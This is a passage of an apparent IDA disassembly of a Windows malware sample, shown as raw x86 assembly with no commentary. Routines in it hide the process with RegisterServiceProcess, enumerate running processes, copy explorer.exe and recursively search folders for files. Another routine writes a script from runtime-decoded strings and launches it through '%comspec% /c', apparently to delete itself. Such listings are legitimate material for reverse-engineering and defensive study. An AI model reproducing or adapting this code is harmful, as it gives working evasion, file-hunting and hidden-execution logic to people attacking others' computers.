		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CF40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CFC0:				; CODE XREF: ___:loc_40228Ej
		push	0FFFFFFFFh
		push	offset loc_43A086
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D040	proc near		; CODE XREF: sub_40227Aj

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_511AE4
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D107


loc_40D090:				; CODE XREF: sub_40D040+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D0F7
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D0AA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D0F7
		cmp	al, 2Eh
		jz	short loc_40D0F7


loc_40D0AA:				; CODE XREF: sub_40D040+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_444684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_40227A
		add	esp, 2Ch
		mov	ebp, eax


loc_40D0F7:				; CODE XREF: sub_40D040+55j
					; sub_40D040+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40D090


loc_40D107:				; CODE XREF: sub_40D040+4Ej
		push	ebx
		call	near ptr 28502DCh
		nop
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_444684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D19B


loc_40D148:				; CODE XREF: sub_40D040+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_40152D
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40D148


loc_40D19B:				; CODE XREF: sub_40D040+106j
		push	ebx
		nop
		call	near ptr 28502DCh
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40D040	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D210	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40D210	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D3C0:				; CODE XREF: ___:004013CFj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2871C1Eh
		push	eax
		call	near ptr 2871161h
		nop
		mov	eax, dword_449070
		test	eax, eax
		jz	loc_40D4E3
		mov	ecx, dword_44906C
		test	ecx, ecx
		jz	loc_40D4E3
		mov	ecx, dword_448F38
		test	ecx, ecx
		jz	loc_40D4E3
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_449068, eax
		jz	loc_40D4E3
		push	ebp
		push	offset dword_448F40
		push	eax
		xor	ebp, ebp
		mov	dword_448F40, 128h
		call	dword_44906C	; Process32First
		test	eax, eax
		jz	loc_40D4CC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_511AE0
		push	edi


loc_40D44D:				; CODE XREF: ___:0040D4C7j
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_448F64
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_448F64
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4B3
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_448F64
		mov	ecx, ebx
		call	sub_40168B
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D4B4


loc_40D4B3:				; CODE XREF: ___:0040D48Bj
		inc	ebp


loc_40D4B4:				; CODE XREF: ___:0040D4B1j
		mov	eax, dword_449068
		push	offset dword_448F40
		push	eax
		call	dword_448F38	; Process32Next
		test	eax, eax
		jnz	short loc_40D44D
		pop	edi
		pop	esi
		pop	ebx


loc_40D4CC:				; CODE XREF: ___:0040D437j
		mov	ecx, dword_449068
		push	ecx
		nop
		call	near ptr 283061Dh
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D4E3:				; CODE XREF: ___:0040D3E6j
					; ___:0040D3F4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D540:				; CODE XREF: ___:00401FAFj
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		call	near ptr 2880C71h
		nop
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_5118F0
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		call	near ptr 28807F9h
		nop
		mov	ebx, dword_5118E0
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 2880000h
		push	esi
		call	ebx


loc_40D606:				; CODE XREF: ___:0040D5A9j
					; ___:0040D5EBj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D660	proc near		; CODE XREF: sub_401B6Dj

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015E1
		lea	ecx, [esp+1A8h+var_184]
		call	sub_40142E
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C71
		push	eax
		push	0
		nop
		call	near ptr 2871C1Eh
		push	eax
		call	near ptr 2871161h
		nop
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 27E08A3h
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D751
		mov	edi, dword_511918
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_449074, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_449070, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44906C, eax
		call	edi
		mov	dword_448F38, eax
		mov	eax, dword_449074
		test	eax, eax
		jz	short loc_40D751
		push	ebx
		push	0
		call	eax


loc_40D751:				; CODE XREF: sub_40D660+A7j
					; sub_40D660+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402135
		test	eax, eax
		jnz	short loc_40D788
		mov	al, byte_44915F
		test	al, al
		jz	short loc_40D788
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D788:				; CODE XREF: sub_40D660+10Dj
					; sub_40D660+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019C4
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_40D660	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h
		dd 8D50FFFFh, 0A8248Ch,	8680000h, 5100444Bh, 1E9D66E8h
		dd 3D8B9000h, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 41440DE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h
		dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h
		dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B00h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3DCAh,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0E8900000h,	23E29E5h, 874C085h, 0E890006Ah
		dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1,	0FF3795E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3781E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBF0	proc near		; CODE XREF: sub_401195j
		mov	al, byte_449161
		test	al, al
		jz	short loc_40DC04
		push	offset word_449162
		nop
		call	near ptr 27E0B6Eh


loc_40DC04:				; CODE XREF: sub_40DBF0+7j
		mov	al, 1
		retn
sub_40DBF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DC20	proc near		; CODE XREF: sub_401E79j

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DC20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2871C1Eh
		push	eax
		call	near ptr 2871161h
		nop
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27D0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017EE
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_444684
		push	ecx
		nop
		call	sub_5F76F7
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 2850000h
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E178
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_40142E
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019C4
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019C4
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019C4
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019C4
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019C4
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019C4
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019C4
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019C4
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019C4
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019C4
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017EE
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 27E0000h
		push	esi
		nop
		call	near ptr 283061Dh
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 2871C1Eh
		push	eax
		call	near ptr 2871161h
		nop
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		call	sub_5F76F7
		nop
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		nop
		call	near ptr 27F0459h
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E178:				; CODE XREF: sub_40DC20+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DC20	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E2F0	proc near		; CODE XREF: sub_401730j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
